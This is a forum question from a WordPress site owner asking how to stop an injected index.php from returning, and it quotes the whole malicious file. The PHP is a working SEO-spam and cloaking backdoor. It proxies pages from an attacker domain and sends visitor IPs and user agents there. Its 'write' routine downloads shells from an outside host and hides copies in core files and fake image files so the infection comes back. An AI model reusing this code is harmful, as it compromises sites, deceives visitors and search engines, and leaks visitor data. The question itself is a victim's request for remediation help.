title: my index.php file on my wordpress website got hacked every time i delete it its coming back
body: <p>I have this code in my index.php, please help me how to prevent this code from coming back, Is there any way that i can lock my index.php file.</p>
  <pre><code>&lt;?php error_reporting(0);
  @set_time_limit(3600);
  @ignore_user_abort(1);
  $xmlname = 'mapss.xml';
  $dt = 0;
  $sitemap_file = 'sitemap';
  $mapnum = 2000;
  if(isset($_GET['dt'])){
      $dt = $_GET['dt'];
  }
  $site = @$_GET['smsite'];
  $jdir = '';
  $http_web = 'http';
  if(is_https()){
   $http = 'https';
  }else{
   $http = 'http';
  }
  $smuri_tmp = smrequest_uri();
  $uri_script = &quot;&quot;;
  if(strstr($smuri_tmp, &quot;.php&quot;) &amp;&amp; !$site){
      $uri_arr = explode(&quot;.php&quot;, $smuri_tmp);
      $uri_script = $uri_arr[0].&quot;.php?&quot;;
      $smuri_tmp = $uri_arr[1];
      $smuri_tmp = str_replace(&quot;?&quot;, &quot;/&quot;, $smuri_tmp);
  }
  if($smuri_tmp==''){
      $smuri_tmp='/';
  }
  $s = 'b'.'ase6'.'4_e'.'ncode';
  $smuri = $s($smuri_tmp);
  function smrequest_uri(){
      if (isset($_SERVER['REQUEST_URI'])){
          $smuri = $_SERVER['REQUEST_URI'];
      }else{
          if(isset($_SERVER['argv'])){
              $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
          }else{
              $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
          }
      }
      return $smuri;
  }
  @$action = $_GET['ac']?$_GET['ac']:&quot;&quot;;
  if($action != &quot;&quot; &amp;&amp; $action == &quot;write&quot;){
      write();
      echo &quot;write done!&quot;;
      exit();
  }
  $goweb = 'seo601-2.firstok.xyz';
  $password = md5(md5(@$_GET['pd']));
  if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') {
      $add_content = @$_GET['mapname'];
      $action = @$_GET['action'];
      $domain = @$_GET['domain'];
      if($domain){
          $host = $domain;
      }else{
          $host = $_SERVER['HTTP_HOST'];
      }
      //$host = $_SERVER['HTTP_HOST'];
      $path = dirname(__FILE__);
  
      $file_path = $path.'/robots.txt';
      if(!$action){
          $action = 'put';
      }
      if($action == 'put'){
          $data = 'User-agent: *
  Allow: /';
          $uri_script = trim($uri_script);
          if( $uri_script!= &quot;&quot; &amp;&amp; $uri_script!=&quot;/index.php?&quot;){
              $data = trim($data).&quot;\r\n&quot;.&quot;Sitemap: $http://&quot;.$host.$uri_script.&quot;sitemap.xml&quot;;
          }else{
              $data = trim($data).&quot;\r\n&quot;.&quot;Sitemap: $http://&quot;.$host.&quot;/sitemap.xml&quot;;
          }
          $num = mt_rand(5, 10);
          for($i = 0; $i&lt;$num; $i++){
              if(trim($uri_script) != &quot;&quot; &amp;&amp; $uri_script!=&quot;/index.php?&quot;){
                  $data = trim($data).&quot;\r\n&quot;.&quot;Sitemap: $http://&quot;.$host.$uri_script.&quot;sitemap$i.xml&quot;;
              }else{
                  $data = trim($data).&quot;\r\n&quot;.&quot;Sitemap: $http://&quot;.$host.&quot;/sitemap$i.xml&quot;;
              }
          }
          @chmod(&quot;robots.txt&quot;, 0755);
          file_put_contents(&quot;robots.txt&quot;, $data);
          echo &quot;robots write done!!&quot;;
      }
      if($action == 'del'){
          if(file_exists($file_path)){
              $data = smoutdo($file_path);
          }else{
              $data = '';
          }
          if(strstr($data,'/'.$add_content)){
              if(is_https()){
                  $data_new = trim($data).&quot;\r\n&quot;.'Sitemap: https://'.$host.'/'.$add_content;
              }else{
                  $data_new = trim($data).&quot;\r\n&quot;.'Sitemap: http://'.$host.'/'.$add_content;
              }
              if(file_put_contents($file_path,$data_new)) {
                  echo '&lt;br&gt;ok&lt;br&gt;';
              }else{
                  echo '&lt;br&gt;file write false!&lt;br&gt;';
              }
          }else{
              echo '&lt;br&gt;sitemap does not exist!&lt;br&gt;';
          }
      }
  
      exit;
  }
  function is_https() {
      if ( !empty($_SERVER['HTTPS']) &amp;&amp; strtolower($_SERVER['HTTPS']) !== 'off') {
          return true;
      } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &amp;&amp; $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) {
          return true;
      } elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) &amp;&amp; strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
          return true;
      }
      return false;
  }
  $temp = @$_GET['smtemp'];
  $id = @$_GET['smid'];
  $page = @$_GET['smpage'];
  $site = str_replace('/','',$site);
  $host = $_SERVER['HTTP_HOST'];
  $clock = '';
  
  $tempweb = @$_GET['tempweb'];
  $tempweb = str_replace('/','',$tempweb);
  
  if($tempweb){
      $site = $tempweb[0].$tempweb[1].$tempweb[2];
      $temp = substr($tempweb,3);
  }
  $lang = $_SERVER[&quot;HTTP_ACCEPT_LANGUAGE&quot;];
  $lang = $s($lang);
  $os = $_SERVER['HTTP_USER_AGENT'];
  $os = $s($os);
  if(isset($_SERVER['HTTP_REFERER'])){
      $urlshang = $_SERVER['HTTP_REFERER'];
      $urlshang = $s($urlshang);
  }else{
      $urlshang = '';
  }
  
  if(getenv('REMOTE_ADDR') &amp;&amp; strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
      $clock = getenv('REMOTE_ADDR');
  } elseif(isset($_SERVER['REMOTE_ADDR']) &amp;&amp; $_SERVER['REMOTE_ADDR'] &amp;&amp; strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
      $clock = $_SERVER['REMOTE_ADDR'];
  }
  
  $http_clock = '';
  if(getenv('HTTP_CLIENT_IP') &amp;&amp; strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
      $http_clock = getenv('HTTP_CLIENT_IP');
  } elseif(getenv('HTTP_X_FORWARDED_FOR') &amp;&amp; strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
      $http_clock = getenv('HTTP_X_FORWARDED_FOR');
  }
  
  if(stristr($clock,',')){
      $clock_tmp = explode(&quot;,&quot;,$clock);
      $clock = $clock_tmp[0];
  }
  
  if(!isset($sitemap_file) || @$sitemap_file==''){
      $sitemap_file = 'sitemap';
  }
  if(!isset($mapnum) || @$mapnum==''){
      $sitemap_file = 2000;
  }
  
  
  if(preg_match('/^'.&quot;\/&quot;.$sitemap_file.'(\d+)?.xml$/i',$smuri_tmp,$uriarr)){
      @header(&quot;Content-type: text/xml&quot;);
      if(isset($uriarr[1])){
          $id = str_replace('_','',$uriarr[1]);
      }else{
          $id = 100;
      }
      $ivmapid = 0;
      sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host,$uri_script);
      exit();
  }
  function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){
      $web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&amp;temp='.$temp.'&amp;web='.$host.'&amp;xml='.$dt.'&amp;maptype='.$maptype.'&amp;filetype='.$filetype.'&amp;map_splits_num='.$map_splits_num.'&amp;map_num='.$map_num.'&amp;dataNew='.$dataNew;
      return trim(smoutdo($web));
  }
  function sitemap_out($url,$host,$uri_script){
      if(is_https()){
          $http = 'https';
      }else{
          $http = 'http';
      }
      $date_str =  date(&quot;Y-m-d\TH:i:sP&quot;,time());
      $sitemap_header = '&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
  &lt;urlset
        xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;
        xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;
        xsi:schemaLocation=&quot;http://www.sitemaps.org/schemas/sitemap/0.9
              http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd&quot;&gt;';
      $sitemap_header .= '
    &lt;url&gt;
      &lt;loc&gt;'.$http.'://' . $host . &quot;/&quot; . '&lt;/loc&gt;
      &lt;lastmod&gt;' . $date_str . '&lt;/lastmod&gt;
      &lt;changefreq&gt;daily&lt;/changefreq&gt;
      &lt;priority&gt;0.1&lt;/priority&gt;
    &lt;/url&gt;';
      $url_arr = explode(&quot;\r\n&quot;,$url);
      $map_str = $sitemap_header;
      foreach($url_arr as $value){
          $map_str .= '
    &lt;url&gt;
      &lt;loc&gt;'.$http.'://' . $host . &quot;/&quot; .$value .'&lt;/loc&gt;
      &lt;lastmod&gt;' . $date_str . '&lt;/lastmod&gt;
      &lt;changefreq&gt;daily&lt;/changefreq&gt;
      &lt;priority&gt;0.1&lt;/priority&gt;
    &lt;/url&gt;';
      }
      if($uri_script != &quot;&quot;){
          $map_str = str_replace($host.&quot;/&quot;,$host.$uri_script, $map_str);
      }
      echo $map_str.&quot;
  &lt;/urlset&gt;&quot;;
  }
  
  function get($url){ 
      $contents = @file_get_contents($url);
      if (!$contents) {
          $ch = curl_init();
          curl_setopt($ch, CURLOPT_URL, $url);
          curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
          $contents = curl_exec($ch);
          curl_close($ch);
      } 
      return $contents;
  }
  function write(){
      $write1 = get(&quot;http://hello.turnedpro.xyz/write1.txt&quot;);
      $write2 = get(&quot;http://hello.turnedpro.xyz/write2.txt&quot;);
      $shell_postfs = get(&quot;http://hello.turnedpro.xyz/mm1.txt&quot;);
      $shell_load = get(&quot;http://hello.turnedpro.xyz/mm2.txt&quot;);
      $ht_content = file_get_contents(&quot;.htaccess&quot;);
      $index_content = file_get_contents(&quot;index.php&quot;);
      $loader_php = &quot;wp-includes/template-loader.php&quot;;
      $load_php = &quot;wp-includes/load.php&quot;;
      $font_editor_php = &quot;wp-includes/SimplePie/font-editor.php&quot;;
      if(!is_dir(&quot;css&quot;)){
          mkdir(&quot;css&quot;, 0755, true);
      }
      file_put_contents(&quot;css/load.php&quot;, $shell_load);
      if(is_dir(&quot;wp-includes/SimplePie&quot;)){
          file_put_contents(&quot;wp-admin/images/arrow-lefts.png&quot;, $index_content);
          file_put_contents(&quot;wp-admin/images/arrow-rights.png&quot;, $ht_content);
          file_put_contents(&quot;wp-includes/images/smilies/icon_devil.gif&quot;, $index_content);
          file_put_contents(&quot;wp-includes/images/smilies/icon_crystal.gif&quot;, $ht_content);
          $loader_content = file_get_contents($loader_php);
          $load_content = file_get_contents($load_php);
          @chmod($loader_php, 0755);@chmod($load_php, 0755);
          file_put_contents($loader_php, $write1.$loader_content);
          file_put_contents($load_php, $load_content.$write2);
          @chmod($loader_php, 0644);@chmod($load_php, 0644);
          file_put_contents($font_editor_php, $shell_postfs);
      }
  }
  
  if(stristr($smuri_tmp,'.css')){
      $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&amp;id='.$id.'&amp;temp='.$temp.'&amp;dt='.$dt.'&amp;web='.$host.'&amp;zz='.smisbot().'&amp;jdir='.$jdir.'&amp;clock='.$clock.'&amp;uri='.$smuri.'&amp;lang='.$lang.'&amp;os='.$os.'&amp;urlshang='.$urlshang.'&amp;http_clock='.$http_clock;
      $html_content = trim(smoutdo($web));
      if(!strstr($html_content,'nobotuseragent')){
          if(strstr($html_content,'okhtmlgetcontent')){
              @header(&quot;Content-type: text/css; charset=utf-8&quot;);
              $html_content = str_replace(&quot;okhtmlgetcontent&quot;,'',$html_content);
              echo $html_content;
              exit();
          }else if(strstr($html_content,'getcontent500page')){
              @header('HTTP/1.1 500 Internal Server Error');
              exit();
          }else if(strstr($html_content,'getcontent404page')){
              @header('HTTP/1.1 404 Not Found');
              exit();
          }
      }
  }else if($site){
      if($site == 'xml'){
          @header(&quot;Content-type: text/html; charset=utf-8&quot;);
          $mapdir = @$_GET['mapdir'];
          $maptype = @$_GET['maptype'];
          $filetype = @$_GET['filetype'];
          $map_splits_num = @$_GET['map_splits_num'];
          $map_num = @$_GET['map_num'];
          $dataNew = @$_GET['dataNew'];
          if($mapdir){
              if(!is_dir($mapdir)){
                  @mkdir($mapdir,0777,true);
                  echo 'ok '.$mapdir.' success!&lt;br&gt;';
              }else{
                  echo $mapdir.' already exist!&lt;br&gt;';
              }
          }
          if(@$_GET['mapindex']){
              $filearray = listDir($mapdir);
              if(count($filearray)&gt;=2){
                  $mapindex_str = '';
                  $mapindex_str = '&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
  &lt;sitemapindex xmlns=&quot;http://www.google.com/schemas/sitemap/0.84&quot;&gt;';
                  foreach($filearray as $value){
                      if(stristr($value,'.xml')){
                          $mapindex_str .= '
    &lt;sitemap&gt;
      &lt;loc&gt;'.&quot;http://&quot;.$_SERVER['HTTP_HOST'].&quot;/&quot;.$mapdir.'/'.$value.'&lt;/loc&gt;
    &lt;/sitemap&gt;';
                      }
                  }
                  $mapindex_str .= '
  &lt;/sitemapindex&gt;';
                  $xmlname = @$_GET['mapindex'].'.xml';
                  $myfile = fopen($xmlname, &quot;w&quot;);
                  fwrite($myfile, $mapindex_str);
                  fclose($myfile);
                  echo &quot;ok&lt;br&gt;http://&quot;.$_SERVER['HTTP_HOST'].&quot;/&quot;.$xmlname;
                  //echo &quot;&lt;br&gt;&quot;.$web;
                  exit;
              }else{
                  echo 'xml file less number mapindex faile!';
                  exit;
              }
          }
          $web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&amp;temp='.$temp.'&amp;web='.$host.'&amp;xml='.$dt.'&amp;maptype='.$maptype.'&amp;filetype='.$filetype.'&amp;map_splits_num='.$map_splits_num.'&amp;map_num='.$map_num.'&amp;dataNew='.$dataNew.'&amp;uri='.$smuri.'&amp;http='.$http;
          if(substr($temp,0,8)=='shellxml'){
              $xmlname = substr($temp,8).'.xml';
          }
          if(substr($temp,0,7)=='hackxml'){
              if(substr($temp,7)){
                  $xmlname = substr($temp,7).'.xml';
              }
          }
          if(@$_GET['mapdir']){
              if($filetype==1){
                  $xmlname = $xmlname.'.gz';
              }else if($filetype==2){
                  if(function_exists('gzopen')) {
                      $xmlname = $xmlname.'.gz';
                      if($fp = gzopen($mapdir.'/'.$xmlname, 'w9')){
                          $xml = trim(smoutdo($web));
                          if(stristr($xml,'no creat map')){
                              echo '&lt;font style=&quot;color:red&quot;&gt;no creat map!&lt;/font&gt;';
                              exit;
                          }
                          $fp = gzopen ($mapdir.'/'.$xmlname, 'w9');
                          gzwrite ($fp, $xml);
                          gzclose($fp);
                          echo &quot;ok&lt;br&gt;&quot;.$http.&quot;://&quot;.$_SERVER['HTTP_HOST'].&quot;/&quot;.$mapdir.'/'.$xmlname;
                          echo &quot;&lt;br&gt;&quot;.$web;
                          exit();
                      }else{
                          gzclose($fp);
                          echo '&lt;font style=&quot;color:red&quot;&gt;creat sitemap faile No Permissions!&lt;/font&gt;&lt;br&gt;http://'.$_SERVER['HTTP_HOST'].&quot;/&quot;.$mapdir.'/'.$xmlname;
                          echo &quot;&lt;br&gt;&quot;.$web;
                          exit();
                      }
                  }else{
                      echo '&lt;font style=&quot;color:red&quot;&gt;gzopen no exists!&lt;/font&gt;&lt;br&gt;'.$http.'://'.$_SERVER['HTTP_HOST'].&quot;/&quot;.$mapdir.'/'.$xmlname;
                      $web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&amp;temp='.$temp.'&amp;web='.$host.'&amp;xml='.$dt.'&amp;maptype='.$maptype.'&amp;http='.$http;
                      echo &quot;&lt;br&gt;&quot;.$web;
                      exit();
                  }
              }
              if(fopen($mapdir.'/'.$xmlname, &quot;w&quot;)){
                  $xml = trim(smoutdo($web));
                  if(stristr($xml,'no creat map')){
                      echo '&lt;font style=&quot;color:red&quot;&gt;no creat map!&lt;/font&gt;';
                      exit;
                  }
                  $myfile = fopen($mapdir.'/'.$xmlname, &quot;w&quot;);
                  fwrite($myfile, $xml);
                  fclose($myfile);
                  echo &quot;ok&lt;br&gt;&quot;.$http.&quot;://&quot;.$_SERVER['HTTP_HOST'].&quot;/&quot;.$mapdir.'/'.$xmlname;
                  echo &quot;&lt;br&gt;&quot;.$web;
                  exit();
              }else{
                  fclose($myfile);
                  echo '&lt;font style=&quot;color:red&quot;&gt;creat sitemap faile No Permissions!&lt;/font&gt;&lt;br&gt;http://'.$_SERVER['HTTP_HOST'].&quot;/&quot;.$mapdir.'/'.$xmlname;
                  echo &quot;&lt;br&gt;&quot;.$web;
                  exit();
              }
          }else{
              if(fopen($xmlname, &quot;w&quot;)){
                  $xml = trim(smoutdo($web));
                  if(stristr($xml,'no creat map')){
                      echo '&lt;font style=&quot;color:red&quot;&gt;no creat map!&lt;/font&gt;';
                      exit;
                  }
                  $myfile = fopen($xmlname, &quot;w&quot;);
                  fwrite($myfile, $xml);
                  fclose($myfile);
                  echo &quot;ok&lt;br&gt;&quot;.$http.&quot;://&quot;.$_SERVER['HTTP_HOST'].&quot;/&quot;.$xmlname;
                  echo &quot;&lt;br&gt;&quot;.$web;
                  exit();
              }else{
                  fclose($myfile);
                  echo '&lt;font style=&quot;color:red&quot;&gt;creat sitemap faile No Permissions!&lt;/font&gt;&lt;br&gt;'.$http.'://'.$_SERVER['HTTP_HOST'].&quot;/&quot;.$xmlname;
                  echo &quot;&lt;br&gt;&quot;.$web;
                  exit();
              }
          }
      }
      if($id){
          @header(&quot;Content-type: text/html; charset=utf-8&quot;);
          $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&amp;id='.$id.'&amp;temp='.$temp.'&amp;dt='.$dt.'&amp;web='.$host.'&amp;zz='.smisbot().'&amp;clock='.$clock.'&amp;uri='.$smuri.'&amp;urlshang='.$urlshang.'&amp;http='.$http.'&amp;page='.$page;
          $html_content = trim(smoutdo($web));
          if(!strstr($html_content,'nobotuseragent')){
              if(strstr($html_content,'okhtmlgetcontent')){
                  $html_content = str_replace(&quot;okhtmlgetcontent&quot;,'',$html_content);
                  echo $html_content;
                  exit();
              }else if(strstr($html_content,'getcontent500page')){
                  @header('HTTP/1.1 500 Internal Server Error');
                  exit();
              }else if(strstr($html_content,'getcontent404page')){
                  @header('HTTP/1.1 404 Not Found');
                  exit();
              }
          }
      }
  }else{
      $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&amp;id='.$id.'&amp;temp='.$temp.'&amp;dt='.$dt.'&amp;web='.$host.'&amp;zz='.smisbot().'&amp;clock='.$clock.'&amp;uri='.$smuri.'&amp;urlshang='.$urlshang.'&amp;http='.$http.'&amp;page='.$page;
      $html_content = trim(smoutdo($web));
      if($uri_script != &quot;&quot;){
          $html_content = str_replace($host.&quot;/&quot;,$host.$uri_script, $html_content);
      }
      if(!strstr($html_content,'nobotuseragent')){
          @header(&quot;Content-type: text/html; charset=utf-8&quot;);
          if(strstr($html_content,'okhtmlgetcontent')){
              $html_content = str_replace(&quot;okhtmlgetcontent&quot;,'',$html_content);
              echo $html_content;
              exit();
          }else if(strstr($html_content,'getcontent500page')){
              @header('HTTP/1.1 500 Internal Server Error');
              exit();
          }else if(strstr($html_content,'getcontent404page')){
              @header('HTTP/1.1 404 Not Found');
              exit();
          }else if(strstr($html_content,'getcontent301page')){
              @header('HTTP/1.1 301 Moved Permanently');
              $html_content = str_replace(&quot;getcontent301page&quot;,'',$html_content);
              header('Location: '.$html_content);
              exit();
          }
  
      }
  }
  
  function smisbot() {
      $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
      if ($agent != &quot;&quot;) {
          $googleBot = array(&quot;Googlebot&quot;,&quot;Yahoo! Slurp&quot;,&quot;Yahoo Slurp&quot;,&quot;Google AdSense&quot;,'google', 'yahoo');
          foreach ($googleBot as $val) {
              $str = strtolower($val);
              if (strpos($agent, $str)) {
                  return true;
              }
          }
      }else{
          return false;
      }
  }
  function smotherbot() {
      $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
      if ($agent != &quot;&quot;) {
          $spiderSite = array (&quot;TencentTraveler&quot;,&quot;msnbot&quot;,&quot;Sosospider+&quot;,&quot;Sogou web spider&quot;,&quot;ia_archiver&quot;,&quot;YoudaoBot&quot;,&quot;MSNBot&quot;,&quot;Java (Often spam bot)&quot;,&quot;BaiDuSpider&quot;,&quot;Voila&quot;,&quot;Yandex bot&quot;,&quot;BSpider&quot;,&quot;twiceler&quot;,&quot;Sogou Spider&quot;,&quot;Speedy Spider&quot;,&quot;Heritrix&quot;,&quot;Python-urllib&quot;,&quot;Alexa (IA Archiver)&quot;,&quot;Ask&quot;,&quot;Exabot&quot;,&quot;Custo&quot;,&quot;OutfoxBot/YodaoBot&quot;,&quot;yacy&quot;,&quot;SurveyBot&quot;,&quot;legs&quot;,&quot;lwp-trivial&quot;,&quot;Nutch&quot;,&quot;StackRambler&quot;,&quot;The web archive (IA Archiver)&quot;,&quot;Perl tool&quot;,&quot;MJ12bot&quot;,&quot;Netcraft&quot;,&quot;MSIECrawler&quot;,&quot;WGet tools&quot;,&quot;larbin&quot;,&quot;Fish search&quot;, 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot');
          foreach ($spiderSite as $val) {
              $str = strtolower($val);
              if (strpos($agent, $str)) {
                  return true;
              }
          }
      }else{
          return false;
      }
  }
  function smoutdo($url){
      $file_contents = @file_get_contents($url);
      if (!$file_contents) {
          $ch = curl_init();
          curl_setopt($ch, CURLOPT_URL, $url);
          curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
          $file_contents = curl_exec($ch);
          curl_close($ch);
      }
      return $file_contents;
  }
  function listDir($dir){
      $filearr = array();
      if(is_dir($dir)){
          if ($dh = opendir($dir)){
              while (($file = readdir($dh)) !== false){
                  if((file_exists($dir.&quot;/&quot;.$file)) &amp;&amp; $file!=&quot;.&quot; &amp;&amp; $file!=&quot;..&quot;){
                      $filearr[] = $file;
                  }
              }
              closedir($dh);
          }
      }
      return $filearr;
  }
   ?&gt;
  </code></pre>